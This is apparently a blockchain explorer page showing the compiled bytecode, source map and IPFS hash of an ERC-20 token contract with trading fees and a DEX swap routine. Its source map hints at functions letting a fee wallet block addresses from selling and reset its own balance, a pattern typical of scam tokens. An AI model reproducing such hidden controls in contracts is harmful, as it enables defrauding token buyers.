0081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d6d9085815260200190565b60405180910390a35b610d808582611100565b9150505b6001600160a01b038516600090815260046020526040902054610da79082611206565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dfb9085815260200190565b60405180910390a360019250505061058d565b60008184841115610e325760405162461bcd60e51b81526004016105ea9190611293565b506000610e3f848661150f565b95945050505050565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610e99918490610e0e565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610ec89083611206565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f1c9086815260200190565b60405180910390a35060019392505050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f7057610f706114e0565b60200260200101906001600160a01b031690816001600160a01b031681525050600d60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fe3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100791906114c3565b8160018151811061101a5761101a6114e0565b6001600160a01b039283166020918202929092010152600d5461104591309161010090041684610981565b600d5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac94790611082908590600090869030904290600401611522565b600060405180830381600087803b15801561109c57600080fd5b505af19250505080156110ad575060015b504780156110f1576005546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110ef573d6000803e3d6000fd5b505b5050600d805460ff1916905550565b600061058d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e0e565b60008260000361115457506000610523565b60006111608385611593565b90508261116d85836115aa565b1461058d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ea565b600061058d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611265565b60008061121383856114b0565b90508381101561058d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ea565b600081836112865760405162461bcd60e51b81526004016105ea9190611293565b506000610e3f84866115aa565b600060208083528351808285015260005b818110156112c0578581018301518582016040015282016112a4565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112f657600080fd5b50565b6000806040838503121561130c57600080fd5b8235611317816112e1565b946020939093013593505050565b60006020828403121561133757600080fd5b813561058d816112e1565b60008060006060848603121561135757600080fd5b8335611362816112e1565b92506020840135611372816112e1565b929592945050506040919091013590565b60006020828403121561139557600080fd5b5035919050565b6000806000604084860312156113b157600080fd5b833567ffffffffffffffff808211156113c957600080fd5b818601915086601f8301126113dd57600080fd5b8135818111156113ec57600080fd5b8760208260051b850101111561140157600080fd5b60209283019550935050840135801515811461141c57600080fd5b809150509250925092565b6000806040838503121561143a57600080fd5b8235611445816112e1565b91506020830135611455816112e1565b809150509250929050565b600181811c9082168061147457607f821691505b60208210810361149457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105235761052361149a565b6000602082840312156114d557600080fd5b815161058d816112e1565b634e487b7160e01b600052603260045260246000fd5b6000600182016115085761150861149a565b5060010190565b818103818111156105235761052361149a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115725784516001600160a01b03168352938301939183019160010161154d565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176105235761052361149a565b6000826115c757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a77299e2dbecd7b0a259547505102d4ba128b20801f1c6b28839e4c41664fbbc64736f6c63430008110033

Deployed Bytecode Sourcemap

3697:6578:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5231:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5720:161;;;;;;;;;;-1:-1:-1;5720:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;5720:161:0;1023:187:1;4185:43:0;;;;;;;;;;-1:-1:-1;4185:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3950:41;;;;;;;;;;-1:-1:-1;3950:41:0;;;;-1:-1:-1;;;;;3950:41:0;;;;;;-1:-1:-1;;;;;1647:32:1;;;1629:51;;1617:2;1602:18;3950:41:0;1467:219:1;5183:41:0;;;;;;;;;;-1:-1:-1;5183:41:0;;;;;;;-1:-1:-1;;;;;5183:41:0;;;5540:100;;;;;;;;;;-1:-1:-1;5620:12:0;;5540:100;;;2071:25:1;;;2059:2;2044:18;5540:100:0;1925:177:1;7700:313:0;;;;;;;;;;-1:-1:-1;7700:313:0;;;;;:::i;:::-;;:::i;5449:83::-;;;;;;;;;;-1:-1:-1;5515:9:0;;5449:83;;5515:9;;;;2710:36:1;;2698:2;2683:18;5449:83:0;2568:184:1;4076:50:0;;;;;;;;;;-1:-1:-1;4076:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;1581:157;;;;;;;;;;-1:-1:-1;1581:157:0;;;;;:::i;:::-;;:::i;:::-;;4133:45;;;;;;;;;;-1:-1:-1;4133:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6261:265;;;;;;;;;;-1:-1:-1;6261:265:0;;;;;:::i;:::-;;:::i;5322:119::-;;;;;;;;;;-1:-1:-1;5322:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5415:18:0;5388:7;5415:18;;;:9;:18;;;;;;;5322:119;1375:79;;;;;;;;;;-1:-1:-1;1413:7:0;1440:6;-1:-1:-1;;;;;1440:6:0;1375:79;;5889:87;;;;;;;;;;;;;:::i;7525:167::-;;;;;;;;;;-1:-1:-1;7525:167:0;;;;;:::i;:::-;;:::i;4237:35::-;;;;;;;;;;;;;;;;5685:26;;;;;;;;;;-1:-1:-1;5685:26:0;;;;-1:-1:-1;;;;;5685:26:0;;;4279:36;;;;;;;;;;;;;;;;8174:468;;;;;;;;;;;;;:::i;5984:269::-;;;;;;;;;;-1:-1:-1;5984:269:0;;;;;:::i;:::-;;:::i;8023:143::-;;;;;;;;;;-1:-1:-1;8023:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;8131:18:0;;;8104:7;8131:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8023:143;5231:83;5268:13;5301:5;5294:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5231:83;:::o;5720:161::-;5795:4;5812:39;257:10;5835:7;5844:6;5812:8;:39::i;:::-;-1:-1:-1;5869:4:0;5720:161;;;;;:::o;7700:313::-;7798:4;7815:36;7825:6;7833:9;7844:6;7815:9;:36::i;:::-;-1:-1:-1;7862:121:0;7871:6;257:10;7893:89;7931:6;7893:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7893:19:0;;;;;;:11;:19;;;;;;;;257:10;7893:33;;;;;;;;;;:37;:89::i;:::-;7862:8;:121::i;:::-;-1:-1:-1;8001:4:0;7700:313;;;;;;:::o;1581:157::-;1288:6;;-1:-1:-1;;;;;1288:6:0;257:10;1288:22;1280:67;;;;-1:-1:-1;;;1280:67:0;;4917:2:1;1280:67:0;;;4899:21:1;;;4936:18;;;4929:30;4995:34;4975:18;;;4968:62;5047:18;;1280:67:0;;;;;;;;;1655:6:::1;:19:::0;;-1:-1:-1;;;;;;1655:19:0::1;-1:-1:-1::0;;;;;1655:19:0;::::1;::::0;;::::1;::::0;;1690:40:::1;::::0;1655:19;;;;1690:40:::1;::::0;1655:6;1690:40:::1;1581:157:::0;:::o;6261:265::-;6336:18;;-1:-1:-1;;;;;6336:18:0;6318:15;6383:18;;;:9;:18;;;;;;6420:10;:21;;6412:30;;;;;;6453:11;6467:16;6477:6;6467:7;:16;:::i;:::-;-1:-1:-1;;;;;6494:18:0;;;;;;;:9;:18;;;;;:24;;;;-1:-1:-1;;;6261:265:0:o;5889:87::-;5928:13;5961:7;5954:14;;;;;:::i;7525:167::-;7603:4;7620:42;257:10;7644:9;7655:6;7620:9;:42::i;8174:468::-;1288:6;;-1:-1:-1;;;;;1288:6:0;257:10;1288:22;1280:67;;;;-1:-1:-1;;;1280:67:0;;4917:2:1;1280:67:0;;;4899:21:1;;;4936:18;;;4929:30;4995:34;4975:18;;;4968:62;5047:18;;1280:67:0;4715:356:1;1280:67:0;8224:35:::1;8281:42;8224:100;;8367:16;-1:-1:-1::0;;;;;8367:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8349:70:0::1;;8428:4;8435:16;-1:-1:-1::0;;;;;8435:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8349:110;::::0;-1:-1:-1;;;;;;8349:110:0::1;::::0;;;;;;-1:-1:-1;;;;;5824:15:1;;;8349:110:0::1;::::0;::::1;5806:34:1::0;5876:15;;5856:18;;;5849:43;5741:18;;8349:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8335:11;:124:::0;;-1:-1:-1;;;;;;8335:124:0::1;-1:-1:-1::0;;;;;8335:124:0;;::::1;;::::0;;8470:15:::1;:34:::0;;-1:-1:-1;;;;;;8470:34:0::1;8335:124;8470:34:::0;;::::1;::::0;::::1;;::::0;;;;8570:12:::1;::::0;8535:4:::1;-1:-1:-1::0;8515:26:0;;;:11:::1;:26;::::0;;;;;;;8550:15;;;::::1;::::0;::::1;8515:52:::0;;;;;;;;:67;;;;8614:11;;;;::::1;8593:34:::0;;:12:::1;:34:::0;;;;;:41;;-1:-1:-1;;8593:41:0::1;-1:-1:-1::0;8593:41:0::1;::::0;;8174:468::o;5984:269::-;6088:18;;-1:-1:-1;;;;;6088:18:0;257:10;-1:-1:-1;;;;;6072:34:0;;:58;;;;-1:-1:-1;6109:21:0;6072:58;6064:68;;;;;;6148:9;6143:103;6159:20;;;6143:103;;;6228:6;6201:10;:24;6212:9;;6222:1;6212:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;6201:24:0;;;;;;;;;;;;-1:-1:-1;6201:24:0;:33;;-1:-1:-1;;6201:33:0;;;;;;;;;;6181:3;;;;:::i;:::-;;;;6143:103;;;;5984:269;;;:::o;4691:337::-;-1:-1:-1;;;;;4784:19:0;;4776:68;;;;-1:-1:-1;;;4776:68:0;;6377:2:1;4776:68:0;;;6359:21:1;6416:2;6396:18;;;6389:30;6455:34;6435:18;;;6428:62;-1:-1:-1;;;6506:18:1;;;6499:34;6550:19;;4776:68:0;6175:400:1;4776:68:0;-1:-1:-1;;;;;4863:21:0;;4855:68;;;;-1:-1:-1;;;4855:68:0;;6782:2:1;4855:68:0;;;6764:21:1;6821:2;6801:18;;;6794:30;6860:34;6840:18;;;6833:62;-1:-1:-1;;;6911:18:1;;;6904:32;6953:19;;4855:68:0;6580:398:1;4855:68:0;-1:-1:-1;;;;;4936:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4988:32;;2071:25:1;;;4988:32:0;;2044:18:1;4988:32:0;;;;;;;4691:337;;;:::o;8650:1620::-;8728:4;-1:-1:-1;;;;;8755:18:0;;8747:68;;;;-1:-1:-1;;;8747:68:0;;7185:2:1;8747:68:0;;;7167:21:1;7224:2;7204:18;;;7197:30;7263:34;7243:18;;;7236:62;-1:-1:-1;;;7314:18:1;;;7307:35;7359:19;;8747:68:0;6983:401:1;8747:68:0;-1:-1:-1;;;;;8834:16:0;;8826:64;;;;-1:-1:-1;;;8826:64:0;;7591:2:1;8826:64:0;;;7573:21:1;7630:2;7610:18;;;7603:30;7669:34;7649:18;;;7642:62;-1:-1:-1;;;7720:18:1;;;7713:33;7763:19;;8826:64:0;7389:399:1;8826:64:0;-1:-1:-1;;;;;8910:16:0;;;;;;:10;:16;;;;;;;;8909:17;8901:26;;;;;;8943:16;;;;8940:1323;;;8992:32;9007:4;9013:2;9017:6;8992:14;:32::i;:::-;8985:39;;;;8940:1323;9125:4;9076:28;5415:18;;;:9;:18;;;;;;9151:16;;;;9150:17;:40;;;;-1:-1:-1;;;;;;9172:18:0;;;;;;:12;:18;;;;;;;;9171:19;9150:40;9146:131;;;9225:36;9240:20;9225:14;:36::i;:::-;-1:-1:-1;;;;;9311:15:0;;;;;;:9;:15;;;;;;:27;;9331:6;9311:19;:27::i;:::-;-1:-1:-1;;;;;9293:15:0;;;;;;:9;:15;;;;;;;;:45;;;;9393:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;9420:21:0;;;;;;:17;:21;;;;;;;;9393:48;9389:711;;;-1:-1:-1;9475:6:0;9389:711;;;-1:-1:-1;;;;;9565:18:0;;9520:17;9565:18;;;:12;:18;;;;;;;;9562:252;;;9620:37;9653:3;9620:28;9631:16;;9620:6;:10;;:28;;;;:::i;:::-;:32;;:37::i;:::-;9608:49;;9562:252;;;-1:-1:-1;;;;;9703:16:0;;;;;;:12;:16;;;;;;;;9700:114;;;9756:38;9790:3;9756:29;9767:17;;9756:6;:10;;:29;;;;:::i;:38::-;9744:50;;9700:114;9837:13;;9834:195;;9920:4;9902:24;;;;:9;:24;;;;;;:39;;9931:9;9902:28;:39::i;:::-;9893:4;9875:24;;;;:9;:24;;;;;;;:66;;;;9969:40;;-1:-1:-1;;;;;9969:40:0;;;;;;;9999:9;2071:25:1;;2059:2;2044:18;;1925:177;9969:40:0;;;;;;;;9834:195;10063:21;:6;10074:9;10063:10;:21::i;:::-;10049:35;;9501:599;9389:711;-1:-1:-1;;;;;10144:13:0;;;;;;:9;:13;;;;;;:30;;10162:11;10144:17;:30::i;:::-;-1:-1:-1;;;;;10128:13:0;;;;;;;:9;:13;;;;;;;:46;;;;10194:31;;;;;;;;;;10213:11;2071:25:1;;2059:2;2044:18;;1925:177;10194:31:0;;;;;;;;10247:4;10240:11;;;;;;2104:192;2190:7;2226:12;2218:6;;;;2210:29;;;;-1:-1:-1;;;2210:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2250:9:0;2262:5;2266:1;2262;:5;:::i;:::-;2250:17;2104:192;-1:-1:-1;;;;;2104:192:0:o;7187:330::-;7317:53;;;;;;;;;;;-1:-1:-1;;;7317:53:0;;;;;;;;-1:-1:-1;;;;;7317:17:0;;7280:4;7317:17;;;:9;:17;;;;;;;:53;;7339:6;;7317:21;:53::i;:::-;-1:-1:-1;;;;;7297:17:0;;;;;;;:9;:17;;;;;;:73;;;;7404:20;;;;;;;:32;;7429:6;7404:24;:32::i;:::-;-1:-1:-1;;;;;7381:20:0;;;;;;;:9;:20;;;;;;;:55;;;;7452:35;;;;;;;;;;7480:6;2071:25:1;;2059:2;2044:18;;1925:177;7452:35:0;;;;;;;;-1:-1:-1;7505:4:0;7187:330;;;;;:::o;6536:643::-;5097:16;:23;;-1:-1:-1;;5097:23:0;5116:4;5097:23;;;6642:16:::1;::::0;;6656:1:::1;6642:16:::0;;;;;::::1;::::0;;-1:-1:-1;;6642:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;6642:16:0::1;6618:40;;6687:4;6669;6674:1;6669:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;6669:23:0::1;;;-1:-1:-1::0;;;;;6669:23:0::1;;;::::0;::::1;6713:15;;;;;;;;;-1:-1:-1::0;;;;;6713:15:0::1;-1:-1:-1::0;;;;;6713:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6703:4;6708:1;6703:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6703:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;6780:15:::1;::::0;6748:58:::1;::::0;6765:4:::1;::::0;6780:15:::1;::::0;::::1;;6798:7:::0;6748:8:::1;:58::i;:::-;6823:15;::::0;:193:::1;::::0;-1:-1:-1;;;6823:193:0;;:15:::1;::::0;;::::1;-1:-1:-1::0;;;;;6823:15:0::1;::::0;:66:::1;::::0;:193:::1;::::0;6904:7;;6926:1:::1;::::0;6943:4;;6970::::1;::::0;6990:15:::1;::::0;6823:193:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;6819:208:::0;7062:21:::1;7099:16:::0;;7096:75:::1;;7130:18;::::0;:41:::1;::::0;-1:-1:-1;;;;;7130:18:0;;::::1;::::0;:41;::::1;;;::::0;7158:12;;7130:18:::1;:41:::0;:18;:41;7158:12;7130:18;:41;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;7096:75;-1:-1:-1::0;;5143:16:0;:24;;-1:-1:-1;;5143:24:0;;;-1:-1:-1;6536:643:0:o;1960:136::-;2018:7;2045:43;2049:1;2052;2045:43;;;;;;;;;;;;;;;;;:3;:43::i;2304:248::-;2362:7;2386:1;2391;2386:6;2382:47;;-1:-1:-1;2416:1:0;2409:8;;2382:47;2439:9;2451:5;2455:1;2451;:5;:::i;:::-;2439:17;-1:-1:-1;2484:1:0;2475:5;2479:1;2439:17;2475:5;:::i;:::-;:10;2467:56;;;;-1:-1:-1;;;2467:56:0;;9640:2:1;2467:56:0;;;9622:21:1;9679:2;9659:18;;;9652:30;9718:34;9698:18;;;9691:62;-1:-1:-1;;;9769:18:1;;;9762:31;9810:19;;2467:56:0;9438:397:1;2560:132:0;2618:7;2645:39;2649:1;2652;2645:39;;;;;;;;;;;;;;;;;:3;:39::i;1771:181::-;1829:7;;1861:5;1865:1;1861;:5;:::i;:::-;1849:17;;1890:1;1885;:6;;1877:46;;;;-1:-1:-1;;;1877:46:0;;10042:2:1;1877:46:0;;;10024:21:1;10081:2;10061:18;;;10054:30;10120:29;10100:18;;;10093:57;10167:18;;1877:46:0;9840:351:1;2700:189:0;2786:7;2821:12;2814:5;2806:28;;;;-1:-1:-1;;;2806:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2845:9:0;2857:5;2861:1;2857;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1215:247::-;1274:6;1327:2;1315:9;1306:7;1302:23;1298:32;1295:52;;;1343:1;1340;1333:12;1295:52;1382:9;1369:23;1401:31;1426:5;1401:31;:::i;2107:456::-;2184:6;2192;2200;2253:2;2241:9;2232:7;2228:23;2224:32;2221:52;;;2269:1;2266;2259:12;2221:52;2308:9;2295:23;2327:31;2352:5;2327:31;:::i;:::-;2377:5;-1:-1:-1;2434:2:1;2419:18;;2406:32;2447:33;2406:32;2447:33;:::i;:::-;2107:456;;2499:7;;-1:-1:-1;;;2553:2:1;2538:18;;;;2525:32;;2107:456::o;2757:180::-;2816:6;2869:2;2857:9;2848:7;2844:23;2840:32;2837:52;;;2885:1;2882;2875:12;2837:52;-1:-1:-1;2908:23:1;;2757:180;-1:-1:-1;2757:180:1:o;3150:782::-;3242:6;3250;3258;3311:2;3299:9;3290:7;3286:23;3282:32;3279:52;;;3327:1;3324;3317:12;3279:52;3367:9;3354:23;3396:18;3437:2;3429:6;3426:14;3423:34;;;3453:1;3450;3443:12;3423:34;3491:6;3480:9;3476:22;3466:32;;3536:7;3529:4;3525:2;3521:13;3517:27;3507:55;;3558:1;3555;3548:12;3507:55;3598:2;3585:16;3624:2;3616:6;3613:14;3610:34;;;3640:1;3637;3630:12;3610:34;3695:7;3688:4;3678:6;3675:1;3671:14;3667:2;3663:23;3659:34;3656:47;3653:67;;;3716:1;3713;3706:12;3653:67;3747:4;3739:13;;;;-1:-1:-1;3771:6:1;-1:-1:-1;;3812:20:1;;3799:34;3869:13;;3862:21;3852:32;;3842:60;;3898:1;3895;3888:12;3842:60;3921:5;3911:15;;;3150:782;;;;;:::o;3937:388::-;4005:6;4013;4066:2;4054:9;4045:7;4041:23;4037:32;4034:52;;;4082:1;4079;4072:12;4034:52;4121:9;4108:23;4140:31;4165:5;4140:31;:::i;:::-;4190:5;-1:-1:-1;4247:2:1;4232:18;;4219:32;4260:33;4219:32;4260:33;:::i;:::-;4312:7;4302:17;;;3937:388;;;;;:::o;4330:380::-;4409:1;4405:12;;;;4452;;;4473:61;;4527:4;4519:6;4515:17;4505:27;;4473:61;4580:2;4572:6;4569:14;4549:18;4546:38;4543:161;;4626:10;4621:3;4617:20;4614:1;4607:31;4661:4;4658:1;4651:15;4689:4;4686:1;4679:15;4543:161;;4330:380;;;:::o;5076:127::-;5137:10;5132:3;5128:20;5125:1;5118:31;5168:4;5165:1;5158:15;5192:4;5189:1;5182:15;5208:125;5273:9;;;5294:10;;;5291:36;;;5307:18;;:::i;5338:251::-;5408:6;5461:2;5449:9;5440:7;5436:23;5432:32;5429:52;;;5477:1;5474;5467:12;5429:52;5509:9;5503:16;5528:31;5553:5;5528:31;:::i;5903:127::-;5964:10;5959:3;5955:20;5952:1;5945:31;5995:4;5992:1;5985:15;6019:4;6016:1;6009:15;6035:135;6074:3;6095:17;;;6092:43;;6115:18;;:::i;:::-;-1:-1:-1;6162:1:1;6151:13;;6035:135::o;7793:128::-;7860:9;;;7881:11;;;7878:37;;;7895:18;;:::i;8058:980::-;8320:4;8368:3;8357:9;8353:19;8399:6;8388:9;8381:25;8425:2;8463:6;8458:2;8447:9;8443:18;8436:34;8506:3;8501:2;8490:9;8486:18;8479:31;8530:6;8565;8559:13;8596:6;8588;8581:22;8634:3;8623:9;8619:19;8612:26;;8673:2;8665:6;8661:15;8647:29;;8694:1;8704:195;8718:6;8715:1;8712:13;8704:195;;;8783:13;;-1:-1:-1;;;;;8779:39:1;8767:52;;8874:15;;;;8839:12;;;;8815:1;8733:9;8704:195;;;-1:-1:-1;;;;;;;8955:32:1;;;;8950:2;8935:18;;8928:60;-1:-1:-1;;;9019:3:1;9004:19;8997:35;8916:3;8058:980;-1:-1:-1;;;8058:980:1:o;9043:168::-;9116:9;;;9147;;9164:15;;;9158:22;;9144:37;9134:71;;9185:18;;:::i;9216:217::-;9256:1;9282;9272:132;;9326:10;9321:3;9317:20;9314:1;9307:31;9361:4;9358:1;9351:15;9389:4;9386:1;9379:15;9272:132;-1:-1:-1;9418:9:1;;9216:217::o

Swarm Source

ipfs://a77299e2dbecd7b0a259547505102d4ba128b20801f1c6b28839e4c41664fbbc
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.